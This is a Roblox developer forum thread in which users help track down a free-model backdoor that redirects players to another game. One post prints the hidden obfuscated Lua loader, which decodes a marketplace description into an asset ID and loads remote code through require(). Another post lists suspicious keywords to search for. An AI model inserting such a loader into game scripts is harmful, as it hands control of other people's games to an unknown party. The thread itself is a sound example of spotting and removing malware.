Yes it is. Delete it and then test join it again.
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I deleted it and I tested the game, it still leads me to the creepy game.
Any other ideas?
I might have a idea, Delete every free model one by one and always test.(It can take a long time)
And if it don’t lead you anymore to the game you could know which model makes the exploit.
In my earlier reply I said a few things you should look for:
Make sure you go through every script in your game even the non free model scripts and look for these things. If anything jumps out at you and looks suspicious delete it because it could be the cause to your problem.
You could try doing a play test in studio and look through everything then because the virus scrips could be getting inserted at runtime. If you do find the script while in in the play test you may get more of an idea of what is causing your problem.
If you still can’t find the cause to your problem then I would slowly go through and delete every free model you have in your game. If you still can’t find the cause to your problem then I would think about slowly moving all your assets in your game to another game, while checking each asset as you go for viruses.
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Is it a creepy game with a forest? If so do you have any admin commands?
Try doing Ctrl + Shift + F, this will search through every script automatically. Try searching for phrases such as: “require”, “teleport”, “getfenv”, “http” and “loadstring”.
5 Likes
You can see the game with the link in the topic.
Is this line suspicous?:
end if not game:service’RunService’:IsStudio()then local a,b=‘’,{Q=0,L=1,G=2,R=3,B=4,M=5,N=6,C=7,X=8,Z=9}local function c(d)local e=‘‘for f in d:gmatch(’%a’)do e=e…b[f]end return tonumber(e)end repeat pcall(function()local z=game:service’MarketplaceService’:GetProductInfo(4436518099).Description if z~=a then pcall(require,c(z:sub(52)))a=z end end)wait(5)until nil end function weld()
local parts,last = {}, nil
That code is definitely a virus, try deleting it
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Yes!
It worked!
But I am not sure who to give the solution too 
3 Likes
Try give it to the person that replied with the most helpful information, and that helped you get rid of that virus.
I think you should give it to greenalien268.
By the way, NEVER use free models. There are a few reasons to do so:
- Game is oftenly rated by effort put into it. By using free models, you tell people that “neh im too lazy to do something myself so ill take someone else’s work
”. This is not kinda good. - They oftenly don’t fit in the game. When your game is built on these, some model will be of that genre, this model will be of another genre, which confuses the player.
- Sometimes they have scetchy scripts in them, just like this time.
”. This is not kinda good.
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Yeah, this is true.
But sometimes it is alright to take free models because then if you customise it then it doesn’t really matter.
But the next time I actually use a free model, I will probably go through the whole thing before I actually put it in my game.
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Still though, I’d recommend making everything by yourself. My game has around 8k parts, it’s big and functional, and I used only 3 or 4 free models. 
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Wait, then which 3-D modelling app do you use? Maybe I can start doing it too.
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When everything is built like this, of course I don’t have any program for 3D modeling.
As I remember, Blender is a very popular software for 3D modeling.
Blender and C4D is one type of a very popular software for 3D Modeling.
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@Schedency and @pewpie12302die,
Is Blender safe, that is my main question, because if it is safe then I would download it but I have seen articles on the internet saying that it might not be that safe.
Oh, well anyways 
Be careful!
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I am sure that Blender is safe.
Those articles? Pfft, there are lots of people who try to bring some senceless thing up for money.
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